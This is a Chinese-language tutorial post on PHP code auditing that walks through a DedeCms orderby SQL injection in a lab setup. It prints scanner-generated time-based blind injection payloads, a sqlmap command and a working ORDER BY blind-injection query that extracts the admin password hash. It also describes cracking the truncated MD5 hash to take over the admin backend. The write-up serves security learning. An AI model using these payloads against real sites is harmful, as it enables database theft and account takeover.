這里對PHP的代碼審計和漏洞挖掘的思路做一下總結,都是個人觀點,有不對的地方請多多指出。
PHP的漏洞有很大一部分是來自於程序員本身的經驗不足,當然和服務器的配置有關,但那屬於系統安全范疇了,我不太懂,今天我想主要談談關於PHP代碼審計和漏洞挖掘的一些思路和理解。
PHP的漏洞發掘,其實就是web的滲透測試,和客戶端的fuzzing測試一樣,web的滲透測試也可以使用類似的技術,web fuzzing,即基於web的動態掃描。
這類軟件國內外有很多,如WVS,Lan Guard,SSS等。這類掃描器的共同特點都是基於蜘蛛引擎對我們給出的URL地址進行遍歷搜索,對得到的URL和參數進行記錄,然后使用本地或者web端的script腳本攻擊語句進行攻擊測試。
如:
http://www.foo.com/index.php?parm1=1&parm2=2&parm3=3.....&parmn=n
….
WVS使用本地的腳本攻擊數據庫對這些參數進行交叉替換和填充,構造出新的URL,然后用GET或者POST的方式向服務器發出請求,並對返回的結果進行正則判斷。
如是否出現:” ou have an error in your SQL syntax”等字樣。如果出現,則記錄下來,說明這個腳本頁面”可能”存在漏洞。
WVS把攻擊分成了很多模塊:
1. Blind_SQL_Injection
2. AcuSensor
3. CSRF
4. Directory_And_File_Check
5. File_Upload
6. GHDB(Google黑客數據庫)
7. Sql_Injection
8. Weak_Password
9. XSS
每種攻擊測試方式都對應着一類scripts,里面包含了攻擊語句。
用WVS掃描完之后,如果能發現一些sql注入點的提示,這個時候可以先用sqlmap進行注入嘗試,進一步判斷注入點的情況。
http://hi.baidu.com/306211321/item/b4b2ea1f75db1dea9913d659
如果這兩步都不能成功,說明基於fuzz的動態掃描不能繼續下去了,這個時候,我們應該想辦法進行靜態的代碼審計,從源代碼的角度分析和挖掘漏洞的成因和利用方式。這塊可以使用RIPS這樣的軟件,RIPS是一款專門用來進行靜態PHP代碼審計的工具,能夠幫助我們定位到可能存在漏洞的代碼區域。
RIPS對代碼進行靜態漏洞掃描的基本思想有兩條:
- 對容易產生漏洞的函數進行跟蹤(例如:mysql_query())
RIPS認為,所有的注入漏洞最終都要經過一些特定的數據庫操作函數,mysql_query()或程序自定義的類函數,這些函數是產生漏洞的導火索,只要對這些函數的控制流和參數流進行回溯掃描,就可以發現大部分的代碼漏洞。
- 對產生注入漏洞的源頭即用戶傳輸過來的數據流進行跟蹤($_GET,$_POST,$_COOKIE)
“用戶輸入的一切數據都有害”,大部分的注入漏洞,包括二次注入,究其原因都是因為對用戶的輸入數據沒有做好過濾,RIPS對這些敏感數據進行跟蹤,並判斷其在進入敏感函數(mysql_query())之前有沒有對其進行有效處理(addslashes())來判斷這條數據流是否存在漏洞。
動態掃描加上靜態定位,最終使我們能更容易的發現一些漏洞並及時使其得到修補。
接下來,我們來針對一個已知的漏洞進行一次分析。
DedeCms V5 orderby參數注射漏洞
SSV-ID:3824
SSV-AppDir:織夢
URL:http://sebug.net/vuldb/ssvid-3824
- 動態掃描
架設好服務器和網站后,我們使用WVS對網站的根目錄進行掃描,因為我們現在是黑盒測試,所以直接從網站根目錄開始掃描。
等待一段時間后,掃描結果出來了,得到一些疑似SQL注入的URL。這里研究一下WVS的注入測試原理是什么,通過查看apache的access.log。我們發現了一下請求(無關部分已經刪除)。
id=-1&page=1
id=-1 or 1*71=71&page=1
id=-1 or 71=0&page=1
id=-1' or 5=5 or '39'='39&page=1
id=-1' or '39'='0&page=1
id=IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR"*/&page=1
id=com_virtuemart' and sleep(2.09)='&page=1
id=com_virtuemart' and (sleep(2.09)+1) limit 1 -- &page=1
id=com_virtuemart'=sleep(2.09)='&page=1
id=com_virtuemart"=sleep(2.09)="&page=1
id=com_virtuemart'+(select 1 from (select sleep(2.09))A)+'&page=1
id=com_virtuemart and sleep(2.09) &page=1
id=com_virtuemart or (sleep(2.09)+1) limit 1 -- &page=1
id=com_virtuemart';select pg_sleep(2.09); -- &page=1
id=com_virtuemart'; waitfor delay '0:0:2.09' -- &page=1
id=com_virtuemart"; waitfor delay '0:0:2.09' -- &page=1
id=com_virtuemart&page=-1 or 1*22=22
id=com_virtuemart&page=-1 or 22=0
id=com_virtuemart&page=-1' or 5=5 or '56'='56
id=com_virtuemart&page=-1' or '56'='0
id=com_virtuemart&page=-1" or 5=5 or "39"="39
id=com_virtuemart&page=-1" or "39"="0
id=com_virtuemart&page=IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR"*/
id=com_virtuemart&page=1 and sleep(2)
id=com_virtuemart&page=1 or (sleep(2)+1) limit 1 --
id=com_virtuemart&page=1' and sleep(2)='
id=com_virtuemart&page=1' and sleep(0)='
id=com_virtuemart&page=1' and (sleep(2)+1) limit 1 --
id=com_virtuemart&page=1' or (sleep(2)+1) limit 1 --
id=com_virtuemart&page=1" or (sleep(2)+1) limit 1 --
id=com_virtuemart&page=1" or (sleep(0)+1) limit 1 --
id=com_virtuemart&page=1'=sleep(2)='
id=com_virtuemart&page=1"=sleep(2)="
id=com_virtuemart&page=1'+(select 1 from (select sleep(2))A)+'
id=com_virtuemart&page=1;select pg_sleep(2); --
id=com_virtuemart&page=1';select pg_sleep(2); --
id=com_virtuemart&page=1; waitfor delay '0:0:2' --
id=com_virtuemart&page=1'; waitfor delay '0:0:2' --
id=com_virtuemart&page=1"; waitfor delay '0:0:2' --
可以看到,WVS采用的是一種基於時間延遲的盲注入測試技術。
http://www.4ngel.net/article/49.htm
盲注入的利用關鍵是要找到一個二值邏輯的判斷,即需要對不同的輸入有不同的返回結果,我們才能借助推理得到一些信息,但是有時候,盲注入得到的結果並不會在UI上顯示出來,這樣就回導致我們注入失敗,但是采用時間延遲的思想就可以很好的避免這個問題,從而能夠對不同的程序具有很好的適應性。
- 注入點探測
得到WVS的掃描結果后,我們需要對可能存在注入的URL進行注意排查,以確定是否真的存在注入漏洞。
我們選取:
http://192.168.174.131/index.php?option=com_virtuemart&page=1
這是dedecms的一個留言板的腳本頁面:
使用sqlmap對疑似注入點進行探測:
python sqlmap.py -u "http://192.168.174.131/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=1" --current-db
掃描的結果沒有成功,又手工嘗試了union selct和order by1,2,3..等注入方式,貌似不能獲得盲注入的效果。
不成功的原因有很多,我自己根據經驗總結了幾點:
觸發實際的sql注入漏洞之前要
1. 先獲取cookie值(如果沒有cookie值很多時候會被直接彈出到首頁,沒法進入到一些深層次的代碼邏輯)
2. 獲取formhash(防止CSRF的)
3. 對POST或GET或cookie中的某個字段進行某種編碼(base64等)
4. 特殊字符(%cf寬字符)注入等
5. 結合POST或COOKIE的變量覆蓋的sql注入
6. 盲注入sql語句構造的特殊性
這些先驗條件有時候就會稱為漏洞觸發和利用的關鍵。
這個時候用自動化工具進行測試的工作基本做完了,我們接下來要使用RIPS來對源代碼進行白盒分析,因為目標系統是開源的cms系統,我們可以很容易的從網上下載到全部源代碼。
使用RIPS對cms的整站源代碼進行掃描
RIPS掃描出了很多文件,有些是因為交叉引用,有些是真正存在漏洞的代碼的。
我們來到: /member/guestbook_admin.php
來分析以下代碼漏洞
//重載列表
if($dopost=='getlist'){
PrintAjaxHead();
GetList($dsql,$pageno,$pagesize,$orderby);
$dsql->Close();
exit();
.........
//獲得特定的關鍵字列表
//---------------------------------
function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){
global $cfg_phpurl,$cfg_ml;
$jobs = array();
$start = ($pageno-1) * $pagesize;
$dsql->SetQuery("Select * From #@__jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");
$dsql->Execute();
while($row = $dsql->GetArray()){
$row['endtime'] = @ceil(($row['endtime']-$row['pubdate'])/86400);
if($row['salaries'] == 0){
$row['salaries'] = '薪酬面議';
}
$jobs[] = $row;
}
foreach($jobs as $job)
{
//模板文件
include(dirname(__FILE__)."/templets/job.htm");
}
可以看到,代碼在編寫的時候,並沒有對orderby這個參數進行過濾。導致了注入和畸形數據報錯,接下來,我們的任務就是要利用這個漏洞進行有效的注入,獲得數據。
我們手工構造一個注入:
我們手動構造一個sql注入
對應的sql語句:
Select * From dede_member_guestbook where mid='1' order by mid and if(ASCII(SUBSTRING((select pwd from dede_admin where id=1),1,1))=55,1,(select pwd from dede_member));
這樣不能成功,因為sql語句的語法是這樣的;
SELECT select_list
[ INTO new_table ]
FROM table_source
[ WHERE search_condition ]
[ GROUP BY group_by_expression ]
[ HAVING search_condition ]
[ ORDER BY order_expression [ ASC | DESC ] ]
而我們在能控制的參數是order by參數,在where后面,我發現這個時候不管and邏輯的true or false都不影響sql的查詢結果。
轉換一下思路:
對應的sql語句:
Select * From dede_member_guestbook where mid='1' order by mid,if(ASCII(SUBSTRING((select pwd from dede_admin where id=1),1,1))=55,1,(select pwd from dede_member)) asc;
這個語句貌似可以利用,因為在標准的sql語法中。在order by后面再加and是沒有用的。但是這里用了逗,也就是if后面的語句也屬於order by的一部分了。再在最后加上一個asc,盲注入就成功了。
在+asc后面加上--注釋號,來屏蔽掉后面的desc limit 0,5。
整個語句就能跑通了。
根據返回的結果的不一致,利用正則判斷一下,就可以利用盲注入進行帳號和密碼的猜測。從而獲得后台權限。
然后dede的密碼存放機制是產生32位的MD5后,截斷前24位,所以得到的hash只有24位,沒法用cmd5.com直接破解
http://www.2cto.com/Article/201203/123709.html
698d51a19d8a121ce581499d,去掉前8位
9d8a121ce581499d
轉換成15位MD5,再用cmd5.com來解密,成功
總結:
Web滲透和代碼審計的第一步是對網站的fuzz測試,這可以從整體上對網站的漏洞情況進行掃描,縮小范圍。
對漏洞的具體挖掘和利用還是要使用白盒分析,即源代碼分析,這樣才能更有效的針對不同的代碼情況指定出漏洞利用方案。
介紹一些web fuzzing的工具。
Browser Fuzzer 3 (bf3) – Comprehensive Web Browser Fuzzing Tool
MantraPortable --- OWASP的一款滲透測試套件
Webshag v1.00 – Web Server Auditing Tool (Scanner and File Fuzzer)
Wfuzz – A Tool for Bruteforcing/Fuzzing Web Applications
WVS
LAN Guard
SQLmap
剛開始接觸代碼審計這塊,懂得不是很多,就說了一些平時玩的過程中的理解和觀點,希望大神路過能多多指導指導,我會繼續學習這方面的知識的。